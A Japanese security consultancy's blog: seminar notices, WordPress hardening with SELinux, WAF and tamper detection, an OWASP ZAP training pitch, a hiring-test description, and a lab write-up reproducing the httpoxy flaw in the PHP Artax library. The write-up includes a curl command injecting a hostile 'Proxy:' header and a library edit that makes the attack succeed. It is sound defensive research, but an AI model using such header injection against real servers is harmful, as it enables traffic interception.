2017年5月12日金曜日
ECセキュリティ対策セミナー(大阪)開催します
新しいオフィシャルサイト: https://www.eg-secure.co.jp/
皆様におかれましては、これまで同様のご愛顧をよろしくお願い申し上げます。
新社名での初めてのイベントとして、5月18日大阪にて株式会社ロックオンとの共催セミナーを開催いたします。
日時:2017年5月18日(木) 14:00~16:45
場所:大阪産業創造館 6F会議室B(大阪市中央区本町1-4-5)
費用:無料(申し込みはこちら)
講演タイトル:ECサイトオーナーと開発会社が今やっておくべきセキュリティ施策とは
あいかわずECサイトに対する侵入事件が続いており、最近ではStruts2の脆弱性S2-045 (CVE-2017-5638) による一連の被害が記憶に新しいところです。
一方、脆弱性対処の責任はECサイトオーナーにあるのか、開発会社にあるのか、昔からある議論ではありますが、結論としては立場に応じて責務をまっとうするという当たり前のことしかないわけですが、それではその「当たり前」のことはどこまでやればよいのでしょうか。
実は、ウェブサイトの防御に用いる要素技術それぞれについては、目新しいものがあるわけではなく、その多くは昔からある技術の組み合わせです。つまり、新しい技術を導入すればよいということではないわけですが、脆弱性の発見から攻撃に至るスパンがますます短くなっており、攻撃が組織化・自動化されているにも関わらず、防御側の意識があまり変わっていないことが問題であると考えています。
とはいえ、セキュリティに掛けられる予算が無尽蔵にあるわけではないことから、限られた予算を効果的に配分して、効果的な防御を行うことが肝要と考えます。
当セミナーでは、まずはECサイトをめぐる攻撃について何パターンかデモでお見せした後、上記のための基本的な考え方と、弊社でお手伝いできるサービスについて紹介させていただきます。
皆様の参加をお待ちしております。
2017年4月18日火曜日
「危険な脆弱性にいかに対処するか実践的ウェブサイト防衛セミナー」開催します
日時:2017年4月26日(水) 14時~17時
場所:ラーニングスクエア新橋 会議室4ーB(東京都港区新橋4-21-3)
費用:無料(申し込みはこちら)
講演タイトル:脆弱性によるウェブサイト侵入の現状と今できる対応策
セミナー開催のきっかけは、Struts2の脆弱性S2-045 (CVE-2017-5638) による被害を受けてのことですが、これに限りません。
前から言われていたことではありますが、脆弱性情報の公表から攻撃に至るサイクルがどんどん短くなっています。
DrupalのSQLインジェクション脆弱性 Drupageddon(CVE-2014-3704) の場合は、攻撃があまりに急激に起こったため、脆弱性公表から7時間以内に対処できなかったサイトは「侵入されたとみなして対処せよ」という公式なアナウンスがなされました。
このような急減に起こる攻撃に配慮してか、Joomlaの権限昇格脆弱性CVE-2016-8869等のアナウンスでは、脆弱性情報公開を事前アナウンスするという試みがなされました(参考)。
WordPress REST APIの脆弱性(CVE-2017-1001000)では、WordPress本体のバージョンアップ時には脆弱性の詳細情報が伏せられ、約1週間後に脆弱性の詳細が公表されるという試みがなされました。
ソフトウェアの提供元がパッチや脆弱性情報のリリースについて新たな試みを行っているのは、脆弱性情報公開後に急速に発生する攻撃にサイト運営側が対処するための *猶予期間* を確保するための工夫と考えられます。
しかし、サイト運営側では、猶予期間が得られたとしてもその猶予を有効活用しているでしょうか。
また、そのような工夫の見られなかったS2-045の公開においては、正式な新バージョン公開の前に脆弱性情報の公開がなされており、攻撃者が早い段階から攻撃の準備に着手できる状態でした。
まとめると以下のようになります。
- 脆弱性情報公開から攻撃に至るスパンはますます短くなりつつあり対処が間に合わない状況が見られる
- ソフトウェア提供元が、サイト運営側に対策の猶予を与えようとする工夫も見られるが、そうでないソフトウェアがまだ多い
- 猶予期間が与えられている場合には、それを活かす脆弱性対応の運用を工夫すべきである
- 猶予期間が与えられない場合でも、できる脆弱性対策はあるはずである
以上のようなことをセミナーでは報告したいと考えております。皆様の参加をお待ちしております。
2016年11月16日水曜日
HASHコンサルティングはWordPressを使っています
こんにちは。HASHコンサルティングの一ノ瀬太樹です。
前回の記事では「弊社のWordPressに対する取り組み(by HASHコンサルティング 松本)」について書かせて頂きました。
HASHコンサルティングでは日々増えていくWordPressサイトのセキュリティ対策に貢献するべく、
WordPressサイトのセキュリティ強化支援サービスを展開させて頂いております。
https://www.hash-c.co.jp/service/wordpress_security/
さて、このブログを読んでいる方の中には既にご存知の方もいらっしゃると思いますが、 弊社は2016/9/30にコーポレートサイトをリニューアルしています。
そして、リニューアルされたコーポレートサイトでは
皆様の人柱となるために WordPressが利用されているのです!
今回の記事では弊社で実際に採用しているCentOS7環境でのWordPressのセキュリティ施策について触れたいと思います。
HASHコンサルティングで採用している施策
弊社で実施しているWordPressに対する施策は大きく次の通りです。
- 適時のアップデート
- 管理画面のアクセス制限
- 二段階認証
- 書き込みディレクトリの実行制限
- SELinux
- WAF
- 改ざん検知
以降は基本的な施策を踏まえ、それぞれの施策について記載します。
基本的な施策
WordPressのセキュリティ対策を考えるうえで重要になるのは、次の3点です。
- 常に最新版のWordPressやテーマ、プラグインを利用する(もちろんOS・ミドルウェアも!)
- 実績が多く、適時メンテナンスされているテーマやプラグインを選択する
- 適切なアカウント管理をする
これらは必須対策と言っても過言ではありません。そして、この3点が重要になる理由は次の通りです。
- 古いWordPressには既知の脆弱性が存在する(もちろんOS・ミドルウェアも!)
- テーマやプラグインは危険な脆弱性が含まれていることが多い
- 脆弱性が存在しなくてもログインを許せば乗っ取られてしまう
既知の脆弱性には攻撃方法が公開されているものも存在します。適時のアップデートは不具合が発生するリスクも存在しますが、セキュリティファーストの考え方から最も重要な施策です。
WordPress本体は力量の高いメンバーが開発しており、また広く利用されていることから、多くの人のチェックが行われています。
それに対してテーマやプラグインは個人開発である場合も多く、結果として脆弱性が作り込まれやすくなります。
利用者は脆弱性が発見された場合でも素早く対応しているテーマやプラグインを選択する必要があるのです。
また、使わないプラグインは無効化ではなく「削除」することも重要です。 脆弱性が存在するプラグインは、無効化されていたとしても外部からの直接起動で悪用される危険性があります。
適切なアカウント管理も忘れてはいけません。脆弱なパスワードが使用されていないか、不要なアカウントが残っていないかなど定期的な棚卸が重要です。
弊社ではOS・ミドルウェア・WordPressの適時のアップデートに加え、二段階認証や管理画面へのIPアドレス制限を行っています。また、CentOS7で利用するパッケージに関しては運用管理の容易性から全て標準リポジトリのものを利用する方針で設計しています。
OS・ミドルウェアからセキュリティを強化する
一口にWordPressの設定と言っても、WordPressの設定ファイルであるwp-config.php
だけに注目すればよいわけではありません。 自前でWordPressをインストールしているならば、ファイルシステムやミドルウェアを含めたセキュリティ施策も重要になります。
WordPressは単なるPHPプログラムの集合群ですから、利用者はそれらPHPプログラムの動作範囲を適切にコントロールする必要があります。
コントロールしなければならない部分の一例として、ファイルアップロード機能があります。通常"wordpress/wp-contents/uploads"
ディレクトリのようにアップロードされたファイルを保存する場所はhttpdからの書き込みが許可されています。
WordPressの初期設定を行っただけの状態で、この場所に次のような.phpファイルを置いて外部から参照した場合どうなるでしょうか。
<?php phpinfo();
phpinfo();
が実行され、Webサーバーの設定情報が確認できることは想像に難くありません。そして、これが遠隔操作プログラム(いわゆるWebShell)だった場合には任意のコマンドが実行できます。
この例は通常管理者のみ実施可能な操作ですが、WordPress本体やテーマ、プラグインの脆弱性を悪用されてファイルをアップロードされたり、ファイルを作成されてしまう可能性を想定しておく必要があります。
では、どのように対策をすればよいのでしょうか。この様な事象に対しては、書き込みを許可しているディレクトリで.phpファイルが実行できないようにWebサーバー側で対処するという方法があります。Apache HTTPDではHandlerでPHPを実行できないようにする事などが対策になります。
とはいうものの、最近のWordPressではデフォルトでマイナーアップデートの自動更新が有効ですから、全ての書き込み可能なディレクトリでPHPの実行を制限することが困難だという現実もあります。
SELinuxのすすめ
そこであわせてお勧めするのが、弊社でも導入しているSELinux
です。
サーバーをセットアップする際、最初に停止されることで定評(?)のあるSELinux
ですが、WordPressの動作をコントロールする上では有用です。
そもそもSELinux
とは何でしょうか。SELinux
は「強制アクセス制御」を行うためのセキュリティ拡張機能です。強制アクセス制御を実現しますから、正しく設定を行うことによってroot特権すらもコントロールすることができます。
ファイルシステムのパーミッションのみではなく、最小権限の原則に基づいてhttpdプロセスからのアクセス制御を細かく制限することによりアクセスコントロールを強化します。
SELinuxの導入で何ができるか
前述の通りSELinux
はプロセスレベルのアクセス制御を提供します。Webサーバーからのメール送信やネットワーク経由のDB接続に関するコントロール、httpdから読み込み可能なファイルの指定、ファイル書き込みを許可するスクリプトファイルの指定等を行うことができます。
たとえば、WordPressのプラグインにファイル書き込みが可能な脆弱性があった場合でも、あらかじめSELinux
のポリシー設定で該当プラグインにファイル書き込み禁止のポリシーを適用しておくことで攻撃を防御することが可能です。
たとえば、SELinux
では"httpd_sys_content_t"というタイプのコンテキストをファイルやディレクトリに設定することで、httpdに対して読み込みに限定した許可を設定することができます。コンテキストの設定はpolicycoreutils-python
パッケージに含まれるsemanage
コマンドを利用すると便利です。
また、次のコマンドでは現在指定されているコンテキストが確認できます。
# 現在の値を確認 $ ls -dZ /var/www/html drwxr-xr-x. root root system_u:object_r:httpd_sys_content_t:s0 /var/www/html # 設定ポリシーを確認 $ sudo semanage fcontext -l | grep "/var/www" /var/www(/.*)? all files system_u:object_r:httpd_sys_content_t:s0
出力結果から"httpd_sys_content_t"と記載されていることがわかります。
コンテキストは":"で区切られており、"ユーザー:ロール:タイプ:セキュリティレベル"の順で記載されています。
WordPressにSELinux
を適用する場合ではコアファイルによるテンポラリーファイルの作成や画像のアップロードなどが想定されるため、コアファイルにスクリプト実行権限を与え、ファイルを読み書きするディレクトリには書き込み権限を与える必要が出てきます。
まとめると下記の組み合わせにより、より強固なセキュリティを実現できるということです。
- スクリプトファイルを設置しないディレクトリでスクリプト実行を無効化
SELinux
によるアクセス制限を設定
SELinuxの副作用
SELinux
は非常に強力ですが、SELinux
により最小権限の原則を実現することで問題になる部分があります。それは、WordPressの自動アップデートです。SELinux
はスクリプトからの書き込みを制御することができますが、厳しく制御してしまうと、一種のスクリプトである自動アップデート機能も制限を受けてしまいます。スクリプトからの書き込みを禁止するということは、同時にスクリプトを利用したファイル更新も制限することになるからです。
弊社では、この問題をwp-cli
を利用することで解決しています。wp-cli
はWordPressを管理するためのコマンドラインツールです。設定変更やアップデートをブラウザにアクセスすることなく実行することが出来ます。SELinux
ではプロセスレベルで制限をかけて、wp-cli
を利用したローカルアクセスを許容することで解決します。
WAF
弊社のサイトではウェブアプリケーションファイアウォール(以後WAF)を導入しています。WAFはアプリケーションに存在する脆弱性へ防御機能を提供するものです。あらかじめ用意されている膨大なシグネチャ(ブラックリスト・ホワイトリスト)を利用してサイトに合わせたカスタマイズを行うことで、攻撃を検知して遮断することが出来ます。また、有名な攻撃に対しては専用のシグネチャが提供されることが多く、自分でルールを作成することもできます。
WAFのメリットは安全性の底上げと脆弱性対策の容易性確保です。クロスサイト・スクリプティングやSQLインジェクションなどの脆弱性に関しては多くの場合に既存のシグネチャで防御できます。新たな脆弱性に関してもシグネチャの更新のみで対応可能なことが多いです。
改ざん検知
適時のアップデートを実施し、ファイルシステムとSELinux
を組み合わせたアクセス制御と共にWAFによる防御を行っていたとしても、攻撃を受けてしまう可能性を完全に排除することはできません。そこで、ファイルの作成や書き換えが発生した場合に状態変化を検知する仕組みとして弊社ではinotify
を利用した改ざん検知を行っています。
inotify
はLinuxカーネル2.6.13から組み込まれた機能です。カーネル上で動作するため比較的高速に動作します。
inotify
を活用するためにはinotify-tools
を利用することが多いと思いますが、現時点でCentOS7の標準リポジトリには含まれていません。そこで、弊社ではpyinotify
というPythonのライブラリを利用して改ざん検知用のスクリプトを作成し、systemd
によるデーモン化を行っています。検知ログに関してはsyslogへの出力も実施していますが、同時にslack通知を行うことでログが埋もれないようにしています。
万が一の事態に備えて迅速な検知を行うことは、攻撃兆候の発見に繋がります。結果として実際に攻撃される前に対処できる場合もあるため、改ざん検知は重要な施策になります。
HASHコンサルティングのミッション
私たちのミッションは、増え続けるサイバーセキュリティの課題に対して本質的な解決策を提供することです。
HASHコンサルティングのサービスではこれらの施策を含めたご提案も実施致します。みなさまのWordPressサイトのセキュリティ強化に貢献できるよう日々精進いたしますので、今後ともよろしくお願いいたします。
なお、サービスの詳細につきましては、弊社公式サイトの以下のページをご参照ください。
WordPressサイトのセキュリティ強化支援サービス
2016年10月26日水曜日
WordPressとセキュリティ「ゆりかごから墓場まで」
今回は弊社のWordPressに対する取り組みについてお話させていただきます。
KUSANAGI Ready プロジェクト
本プロジェクトの詳細については、以下のサイトをご参照ください。
WordPressセキュリティ強化サービス
- WordPressの侵入対策は脆弱性管理とパスワード管理を中心に考えよう
http://blog.tokumaru.org/2015/12/wordpress-security.html - WordCamp
https://2016.tokyo.wordcamp.org/09/08/interview-wordpress-and-security/
http://www.slideshare.net/ockeghem/wordcamptokyo2015
WordPressとセキュリティ
WordPressは非常に使い勝手の良いCMS(コンテンツ・マネジメント・システム)のため、世界中で普及していて日本でも人気が高いです。しかし、WordPressをセキュアに構築・運用するための知見は広く普及しているとは言えません。また、WordPressは、製品のコア部分だけではなく、テーマやプラグインに対しても、セキュリティ向上のために継続的な対応が必要です。
WordPressサイトのセキュリティを強化する
ライフサイクル | 対応するサービス | サービスの具体例 |
---|---|---|
企画・開発 | サイト設定支援 | OSやWebサーバ、WordPress本体などに適用すべきセキュリティ関連設定を体系化 |
試験・運用 | 脆弱性診断 | カスタムテーマの脆弱性について効果的な診断を実施 |
WAF連携支援 | WordPressサイトの運用に適したWAFの導入・設定 | |
教育・技術指導 | WordPress運用者向け講習会 |
なお、サービスの詳細につきましては、弊社公式サイトの以下のページをご参照ください。
WordPressサイトのセキュリティ強化支援
https://www.eg-secure.co.jp/service/wordpress_security/
HASHコンサルティングのミッション
本記事でご紹介したHASHコンサルティングのサービスにて、みなさまのWordPressサイトのセキュリティ強化に貢献できるよう日々精進いたしますので、今後ともよろしくお願いいたします。
2016年9月6日火曜日
私は如何にして心配するのを止めてOWASP ZAPハンズオンセミナーを愛するようになったか
弊社一ノ瀬に続き、私もHASHコンサルティング株式会社公式ブログを更新していくことになりましたので、よろしくお願いいたします。
というわけで、従業員の投稿第2弾はHASHコンサルティングの新サービスの話です。
新サービスについて
HASHコンサルティング株式会社は、2016年8月24日に「脆弱性検査ハンズオンセミナー with OWASP ZAP」というサービスの開始を発表いたしました。
- ウェブ健康診断 with OWASP ZAP
- OWASP ZAP Maniacs
「ウェブ健康診断 with OWASP ZAP」コース
2008年に財団法人地方自治情報センター(LASDEC)により策定され、現在は維持・発展に係る業務が独立行政法人情報処理推進機構(IPA)に移管された「ウェブ健康診断仕様」に準拠した脆弱性検査を、OWASP ZAPにより効率良く実施する手法をお伝えいたします。
「OWASP ZAP Maniacs」コース
クロスサイト・スクリプティングやSQLインジェクションのような主要な脆弱性の本質を理解したい方や、OWASP ZAPの「裏ワザ」が知りたい方を対象に、脆弱性の詳細な解説およびOWASP ZAPを使用して脆弱性を検出する方法をお伝えいたします。
以上のふたつのコースにより、開発フェーズからの継続的な脆弱性診断をOWASP ZAPで効率よく実施できます。
それぞれのコースの具体的な内容については、HASHコンサルティングのサービス案内ページをご参照ください。
脆弱性診断研究会
私は、2014年8月に「脆弱性診断研究会(Security Testing Workshop)」を立ち上げて以来、毎月、ハンズオンセミナーを開催しており、延べ開催数は30回を超えています。
セミナーのテーマは脆弱性診断の考え方や手法の解説です。
毎回、コワーキングスペース茅場町 Co-Edo様のセミナールームを使用しているので、参加者は既定の利用料金(ドロップイン料金)をCo-Edo様に支払う必要がありますが、脆弱性診断研究会としては料金を一切頂いておりません。
ちなみに、セミナーを受講する場合に支払う料金は、コワーキングスペースを利用する際のドロップイン料金でもあるため、セミナー開始時間前にコワーキングスペースに入場して、持ち込んだPCで好きな作業をしながら開始を待つことも可能です。
それでは、何故、私は毎月手弁当で平日仕事が終わった後にハンズオンセミナーを開催しているのでしょうか。
また、何故、HASHコンサルティングは、自社の脆弱性診断ノウハウを世間に晒すようなセミナーをサービス化したのでしょうか。
その理由は脆弱性診断に対する10年来の私の「悩み」にあります。
セミナーのテーマは脆弱性診断の考え方や手法の解説です。
セキュリティエンジニアとしての悩み
私の脆弱性診断に対する悩みは、診断業務に関わり始めた10年前と現在とで、検出される脆弱性の「質」がほとんど変わらない、という事実です。
例えば「クロスサイト・スクリプティング」。以下のサイトによると、1999年から2000年にかけて、CERT/CCとMicrosoftにより脆弱性の脅威が勧告されています。
- http://www.cert.org/historical/advisories/CA-2000-02.cfm
- https://blogs.msdn.microsoft.com/dross/2009/12/15/happy-10th-birthday-cross-site-scripting/
クロスサイト・スクリプティング脆弱性の仕組みや脅威について、15年以上も前に影響力の大きな組織や機関により示されているにも関わらず、未だにさまざまなウェブアプリケーションで検出され続けています。
クロスサイト・スクリプティング以外の、よく知られている脆弱性の一つである「SQLインジェクション」も、以前より頻度は低くなっていますが、さまざまな製品で毎月のように検出され公表されています。
世の中に知られるようになってから10年以上経っている脆弱性が今だに検出され続ける原因を、ウェブアプリケーション開発エンジニアの不勉強さに求めるのは簡単ですが、本当に開発エンジニア「だけ」の責任なのでしょうか。
正直、明確な答えは出ないままなのですが、ふとしたきっかけで、脆弱性診断会社やセキュリティエンジニアは、ウェブアプリケーションを開発・運営するお客様に対して、今までと異なるアプローチをかける必要があるのではないか、と思うようになりました。
- http://www.cert.org/historical/advisories/CA-2000-02.cfm
- https://blogs.msdn.microsoft.com/dross/2009/12/15/happy-10th-birthday-cross-site-scripting/
または私は如何にして心配するのを止めてハンズオンセミナーを愛するようになったか
ふとしたきっかけというのは、「もくもく会」への参加です。
2014年の某月某日、ウェブアプリケーションを構築するために採用を考えていたJavaのフレームワーク「Play! Framework」の「もくもく会」が、コワーキングスペース茅場町 Co-Edo様で開催されました。
もくもく会とは、エンジニアが数名集まって、特定のプログラム言語や製品に関連するテーマに沿って、開発環境の構築やシステム開発などの作業を、文字通り黙々と行う、というイベントです。実際は、必ずしも終始無言で作業を進めるわけではなく、エンジニア同士がお互いにあれこれ会話を交わしながらの作業になることも多いです。
何度かもくもく会に参加したおかげで、独学で勉強するよりも多くの知見が得られ、さまざまな情報を共有することができました。
大げさですが、このときの他のエンジニアとの「邂逅」が、脆弱性診断研究会立ち上げのきっかけとなりました。
さらに、より多くの方々との交流を目指すためと、非公認でOWASP ZAPのハンズオンセミナーを実施している「後ろめたさ」を解消するために、2016年の某月某日に開催されたOWASP Japanのイベント会場で、OWASP Japanプロモーションチームのリーダーにお声掛けしてチームに参加させていただいています。
OWASP Japanプロモーションチームおよび脆弱性診断研究会の活動を通じて知り合った素敵な方々から刺激を受けて、セミナー継続のモチベーションは上がる一方です。
脆弱性検査ハンズオンセミナーのススメ
以上のような思いから始めたセミナーの開催経験を仕事で活かすために、HASHコンサルティングのサービスとしてもハンズオンセミナーを実施することになりました。
平日の仕事帰りに時間が取れるエンジニアやウェブアプリケーション管理者は、脆弱性診断研究会によるハンズオンセミナーを受講していただけると嬉しいですが、仕事が忙しくてなかなか時間が取れない方も多いと思います。
弊社の脆弱性検査ハンズオンセミナーは、原則として、平日の営業時間内に、お客様のもとへ伺ってハンズオンセミナーを開催いたします。
例えば、上司として部下にハンズオンセミナーを受けてもらいたいと思っても、定時後に開催されるセミナーの受講を強制するのは色んな意味で難しいですが、従業員の勤務時間内に自社内で実施されるセミナーへの出席は業務として指示できるのでオススメです(^^♪
会社や組織として、脆弱性診断の考え方や手法などのノウハウを組織内部に蓄積したいとお考えでしたら、「脆弱性検査ハンズオンセミナー with OWASP ZAP」についてお気軽にお問い合わせいだだけると幸甚に存じます。
2016年7月23日土曜日
httpoxyでAffected指定されているけどPoCが無いフレームワークで再現試験をした話
ご存知の通り、現在HASHコンサルティングは現在も積極的にセキュリティエンジニアを募集しています。従業員も少しずつ増えてきましたので、今回の投稿から弊社の代表である徳丸と共に従業員もHASHコンサルティング株式会社公式ブログを更新していくことになりましたので、よろしくお願いいたします。
というわけで、従業員の投稿第1弾は2016/7/19に公開され話題となったhttpoxyの話です。
httpoxyは警視庁による注意喚起もされており、非常に注目を集めています。
“[PDF] CGI 等を利用するウェブサーバの脆弱性(httpoxy)を標的としたアクセスの観測について - 警察庁 (平成28年7月20日)” https://t.co/DE7LG7MwQC— 徳丸 浩 (@ockeghem) 2016年7月20日
まずは脆弱性の内容を簡単に整理してみたいと思います。 httpoxyの根本的な原因はCGIの仕様と一般的に利用される環境変数との名前空間の衝突です。そのため、CGIやCGIライクな環境を利用している場合にhttpoxyの影響を受ける可能性があります。
具体的な動作
CGIはクライアントが送信したHTTP リクエストヘッダの情報を環境変数に設定する際に次の処理を行うようにRFC3875にて規定されています。- 大文字に変換
- ハイフン
"-"
をアンダースコア"_"
に変換 - 名前の先頭に
"HTTP_"
を付与
例えば次のリクエストがあった場合、
GET /index.php HTTP/1.1 Host: foo.example.com Proxy: 10.0.0.1:8080
CGIの動作により次の環境変数がセットされます。
HTTP_PROXY=10.0.0.1:8080
ただし、この動作だけで問題が発生するわけではありません。HTTP_PROXYという環境変数は、一般的にCLIで利用されるコマンドベースのアプリケーションがProxyサーバを利用する際に参照するものであるため、この脆弱性が存在するWebサーバが環境変数を参照して外部通信を行う場合に次の問題が発生します。
- 内部サーバ宛てhttp通信の盗聴
- 外部サーバ宛てhttp通信の盗聴および改ざん(中間者攻撃)
本脆弱性への対処
PHPでは最新の5.5.38, 5.6.24, 7.0.9, 7.1.0-bata1にてgetenv関数にlocal_onlyの引数を持つことが出来るようになる修正が含まれたことを確認しています。そして、今回利用しているフレームワークのArtaxでは2.0.4で修正が行われています。また、回避策としては大きく次の方法があります
- HTTPリクエストヘッダを書き変える
- Apache HTTP Serverのmod_headersやNginxのfastcgi_paramなどが利用できます
- WAFでDropする
- Apache HTTP Serverのmod_rewriteなどが利用できます
- 外部接続にHTTPSを利用する
- HTTPS_PROXYを参照するようになり、原理的に影響を受けなくなります
その他の回避策やより詳細な情報が必要な場合は次のサイトをご参照ください。
httpoxy公式
nginx公式の注意喚起
再現試験をしてみる
httpoxyに関してはhttpoxy.orgによるPoCが既に公開されています。blogネタとしては少し出遅れた感もあるため、単に公開されているPoCを評価しても面白くないということで、AffectedになっているがPoCは公開されていないPHPのフレームワークであるArtaxを利用して試験をしてみます。環境
今回の検証では次の環境を準備しました。検証環境イメージ図
ごめんなさい。少しふざけました。
大して変わりませんが、こちらが本当の構成です。
Windows10では
"www.example.jp"
として疑似外部サイトを稼働させていますが、Proxyとして稼働するためのソフトウェアは入っていません。CentOS6.8にArtaxがインストールされています。ソフトウェアの詳細は次の表を参照してください。
OS/ソフトウェア | バージョン | 備考 |
---|---|---|
CentOS | 6.8 | |
Apache HTTP Server | 2.2.15 | |
phpenv | rbenv 1.0.0-21-g9fdce5d | |
PHP | 5.5.37 | |
Composer | 1.2.0 | |
Artax | 2.0.3 | 2.0.4でfix |
検証を行うため、事象が再現したことを確認するために確認用のPHPファイル
"httpoxy.php"
を設置します。以下は
"httpoxy.php"
の内容です。<?php use Amp\Artax\Client; require 'artax/vendor/autoload.php'; echo "<h1>httpoxy exploit check</h1><br>\n"; echo "<br>==============================================<br>\n"; echo "var_dump(\$_SERVER['HTTP_PROXY']);\n"; var_dump($_SERVER['HTTP_PROXY']); echo "<br>"; echo "getenv('HTTP_PROXY');\n"; var_dump(getenv('HTTP_PROXY')); echo "<br>"; echo "<br>==============================================<br>\n"; try { $client = new Client; $promise = $client->request('http://www.example.jp'); $response = Amp\wait($promise); printf( "\nHTTP/%s %d %s\n", $response->getProtocol(), $response->getStatus(), $response->getReason() ); } catch (Exception $error) { echo $error; }このサンプルでは、phpファイルが読み込まれた際、環境変数HTTP_PROXYの内容を表示するとともに非同期通信で
"http://www.example.jp"
宛ての通信が発生し、ステータスコードを表示します。実際にブラウザからアクセスすると次の様な表示になります。
通常HTTPリクエストヘッダに
Proxy
が含まれることはないのでnull
やfalse
が返却されます。また、非同期で外部アクセスを行った際のレスポンスに対するステータスが表示されています。次に環境変数がセットされることを確認するためにHTTPリクエストヘッダに
"Proxy: 192.168.80.1:8080"
を設定してリクエストを送ります。"192.168.80.1"
はWindows10のIPアドレスですが、ポート番号8080へのアクセスは受け付けない状態です。つまり「ARPは解決できるが、TCP接続は受け付けない状態」であるということです。
HTTPリクエストヘッダを追加したリクエストを簡単に実現するため、今回はcurlコマンドを利用します。以下は実行例です。
$ curl -H "Proxy: 192.168.80.1:8080" "http://192.168.80.234/httpoxy.php"
すると次の結果が返却されます。
var_dump($_SERVER['HTTP_PROXY']); <pre class='xdebug-var-dump' dir='ltr'><small>string</small> <font color='#cc0000'>'192.168.80.1:8080'</font> <i>(length=17)</i> </pre><br>getenv('HTTP_PROXY'); <pre class='xdebug-var-dump' dir='ltr'><small>string</small> <font color='#cc0000'>'192.168.80.1:8080'</font> <i>(length=17)</i> </pre><br><br>==============================================<br> HTTP/1.1 200 OK
ハイライトの箇所でProxyヘッダに設定したアドレスとポートが出力されていることが分かります。 PHP上で環境変数
HTTP_PROXY
が読み込める状態であるということです。しかし、何かがおかしいです。
HTTP/1.1 200 OK
そうです。なんと事象が再現していないのです…
本来であればクライアントからのHTTPリクエストヘッダによって設定された環境変数に基づいてProxyへのアクセスが発生するため、Artaxによる非同期通信が失敗するはずなのですが、Proxyへのアクセスが行われていません。ということで、Artaxのソースコードを確認したところ、次のことが判明しました。
まず、ArtaxはProxyのパラメータを2つのオブジェクト(Client, HttpSocketPool)内に同じ配列名かつ同じ変数名の
"$options[self::OP_PROXY_HTTP]"
で保持しており、"getenv('http_proxy')"
で取得した値はHttpSocketPool側で保持されています。そして、"new Client;"
したタイミングでコンストラクタにより"new HttpSocketPool;"
も実行され、自動的に環境変数が読み込まれます。※
"self::OP_PROXY_HTTP"
は双方共にHttpSocketPoolの定数を参照しています2つオブジェクトが保持している配列のパラメータはリクエストを送信する際にarray_merge関数によってマージされてから利用されますが、オブジェクトClientのパラメータで上書きされる仕様(?)により、HttpSocketPoolで保持した値は使われていません。
図にするとこんなイメージです。
以下は、HttpSocketPool内のcheckout関数で利用されている実際のコードですが、$optionsにオブジェクトClientで設定されているパラメータが格納されています。ProxyのパラメータはオブジェクトClientの初期化時に必ず空('')で生成されるため上書きされます。
$options = $options ? array_merge($this->options, $options) : $this->options;
このような実装になっているのは、オブジェクトClientのパラメータ内でproxyを指定可能にしているからだと考えられますが、すこしモヤモヤした気持ちになります。
ということで、ここまで確認した結果として攻撃を成功させることは出来なさそうです。しかし、正直言って攻撃を成功させたい!
仕方がないので、攻撃を行うためにHttpSocketPool.phpのcheckout関数で該当コードを次の内容に変更してちゃんと(?)環境変数が読み込まれるようにします(ぇ
//$options = $options ? array_merge($this->options, $options) : $this->options; $options = $options ? array_merge($options, $this->options) : $this->options;
変更後に再度同じ
curl
コマンドでアクセスすると次の出力が確認出来ました。※長いのでStack traceは割愛しています
var_dump($_SERVER['HTTP_PROXY']); <pre class='xdebug-var-dump' dir='ltr'><small>string</small> <font color='#cc0000'>'192.168.80.1:8080'</font> <i>(length=17)</i> </pre><br>getenv('HTTP_PROXY'); <pre class='xdebug-var-dump' dir='ltr'><small>string</small> <font color='#cc0000'>'192.168.80.1:8080'</font> <i>(length=17)</i> </pre><br><br>==============================================<br> exception 'Amp\TimeoutException' with message 'Promise resolution timed out' in /var/www/DVWA/artax2.0.3/vendor/amphp/amp/lib/functions.php:676 Next exception 'Amp\Socket\ConnectException' with message 'Connection to tcp://192.168.80.1:8080#www.example.jp:80 failed: timeout exceeded (30000 ms)' in /var/www/DVWA/artax2.0.3/vendor/amphp/socket/lib/functions.php:127
ハイライト部分でタイムアウトが発生していることが分かります。
以下はその際のtcpdump実行結果です。Proxy向けのアクセスが発生しています。
[root@centos6 lib]# tcpdump -nni eth0 port 8080 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes 19:23:56.041643 IP 192.168.80.234.39456 > 192.168.80.1.8080: Flags [S], seq 814859424, win 14600, options [mss 1460,sackOK,TS val 581206244 ecr 0,nop,wscale 7], length 0 19:23:57.041446 IP 192.168.80.234.39456 > 192.168.80.1.8080: Flags [S], seq 814859424, win 14600, options [mss 1460,sackOK,TS val 581207244 ecr 0,nop,wscale 7], length 0 19:23:59.041698 IP 192.168.80.234.39456 > 192.168.80.1.8080: Flags [S], seq 814859424, win 14600, options [mss 1460,sackOK,TS val 581209244 ecr 0,nop,wscale 7], length 0
コードを書き換えることにより、無事に(?)外部から指定したProxy向け通信を発生させることに成功しました!
まとめ
弊社で検証を実施した限り、オブジェクトClientを生成してリクエスト送信した場合において問題事象が発生することは無さそうです。しかし、絶対に問題が発生しないと保証することはできませんので、Artaxを利用される方は必ずv2.0.4以降へのバージョンアップを検討してください。※本blogの記事は公開している内容やアプリケーションの動作を保証するものではありません。そのため、公開情報を利用される場合は、必ずご自身で検証されたうえでの利用をお願いいたします。
2016年3月3日木曜日
HASHコンサルティングの入社試験ではウェブ健康診断実技を実施しています
セキュリティの業務経験がない方に対する適性試験として、弊社ではウェブ健康診断仕様にもとづく脆弱性診断の実技体験をしていただいています。実務経験がない方が対象ですので、脆弱性診断のやり方は弊社代表の徳丸が説明いたします。下記は、実技体験に用いるソフトウェアが動いている画面のイメージです。
- ウェブ健康診断仕様記載の脆弱性「全部入り」のWebアプリケーション(VMware)
- ブラウザ(Firefox)
- Burp Suite Professional
上記はログイン画面でSQLインジェクション検査をしているところで、なにやらエラーメッセージが表示されています。
実技体験では、徳丸の説明の後、実際に脆弱性診断をしていただきます。その様子を観察することで、実技試験としています。
その際、手が早く動くことが高ポイントであるとは限りません。脆弱性診断は、ブラックボックスの中身を推測できることが重要であり、その際に、ウェブアプリケーションの開発経験が役に立ちます。そのため、診断中に表示されるさまざまなエラーメッセージに対して、徳丸が質問をしますので、その受け答えが重要な判断材料になります。以下の様な感じです。架空の応募者を高橋と表記します。
徳丸: それでは高橋さん、このパラメータについてSQLインジェクション検査をしてください。
高橋: 分かりました…あっ、なんかエラーがでました
徳丸: 先ほどのエラーと同じですか?
高橋: 違いますね。File not foundと出ていますので。
徳丸: 中で何が起こっているか、推測できますか?
